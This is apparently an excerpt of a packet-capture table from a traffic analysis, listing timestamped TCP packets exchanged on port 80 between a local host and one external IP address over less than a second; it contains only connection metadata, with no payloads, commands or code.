Oct 23, 2024 15:49:11.322793007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322809935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322841883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322844028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322890997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322896004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322931051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322941065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322967052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322973013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.323010921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326642990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326679945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326704979 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326716900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326725006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326761961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326786041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326837063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326853991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326886892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326908112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326932907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.326941013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.326986074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.327235937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.327289104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.327289104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.327344894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.327356100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.327390909 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.327421904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.327424049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.327440023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.327466965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.328048944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.328103065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.328171015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.328205109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.328221083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.328239918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.328252077 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.328277111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.328291893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.328316927 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367676020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367738008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367772102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367862940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367867947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367867947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367867947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367897987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367912054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367932081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.367948055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.367979050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.388050079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.388124943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.388159037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.388206959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.388206959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.388206959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.418705940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.418761969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.418780088 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.418796062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.418812037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.418838978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438036919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438080072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438118935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438154936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438189030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438222885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438254118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438254118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438254118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438254118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438254118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438297033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438585043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438637972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438669920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.438671112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438713074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.438713074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442186117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442239046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442245960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442275047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442284107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442310095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442320108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442346096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442359924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442383051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442389011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442433119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442656040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442686081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442708969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442725897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442791939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442821980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.442841053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.442863941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443016052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443048954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443063021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443084955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443100929 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443120956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443133116 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443165064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443593025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443627119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443645954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443671942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443675995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443710089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443725109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443746090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.443756104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.443792105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483269930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483334064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483355999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483387947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483392954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483429909 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483465910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483489037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483489037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483500004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.483505964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.483549118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.503388882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.503443003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.503444910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.503496885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.503546953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.503581047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.503599882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.503616095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.503628016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.503662109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.534130096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.534167051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.534193039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.534200907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.534218073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.534246922 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553524971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553580999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553605080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553615093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553628922 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553659916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553730965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553766966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553786993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553802013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.553811073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.553844929 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.554053068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.554088116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.554105997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.554121017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.554131985 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.554164886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.557816029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.557869911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.557873964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.557904005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.557918072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.557940006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.557954073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.557992935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558007002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558058977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558059931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558110952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558111906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558147907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558161020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558182001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558197975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558217049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558229923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558260918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558902025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.558954000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.558958054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559006929 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559009075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559045076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559056044 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559079885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559097052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559129000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559535980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559590101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559591055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559642076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559642076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559679031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559693098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559715986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.559726954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.559767008 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.598859072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.598893881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.598927021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.598941088 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.598962069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.598984003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.599209070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.599241972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.599263906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.599276066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.599287987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.599328995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.619268894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.619330883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.619340897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.619376898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.619393110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.619420052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.650897026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.650959969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.650995016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.650996923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.651021957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.651043892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669205904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669222116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669235945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669274092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669292927 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669416904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669429064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669440031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669471979 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669491053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669569016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669579983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669589996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.669620037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.669650078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673533916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673567057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673600912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673635006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673717976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673717976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673717976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673717976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673795938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673861980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673913002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673948050 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673980951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.673996925 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673996925 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673996925 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.673996925 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674031973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674040079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674092054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674535990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674586058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674633026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674666882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674683094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674701929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674711943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674736023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674745083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674772024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.674783945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.674819946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.675371885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.675421953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.675422907 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.675458908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.675471067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.675492048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.675507069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.675527096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.675550938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.675569057 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.714315891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714351892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714360952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714656115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714664936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714674950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.714715958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.714843988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714890003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.714983940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.714983940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.734924078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.734935045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.734944105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.735088110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.766663074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.766699076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.766732931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.766951084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808487892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808546066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808588982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808629990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808660030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808660030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808660030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808670998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808693886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808711052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808773041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808830023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808857918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808865070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808865070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808865070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808873892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808897972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.808898926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808898926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808913946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.808913946 CEST	80	49967	185.215.113.16	192.168.2.5
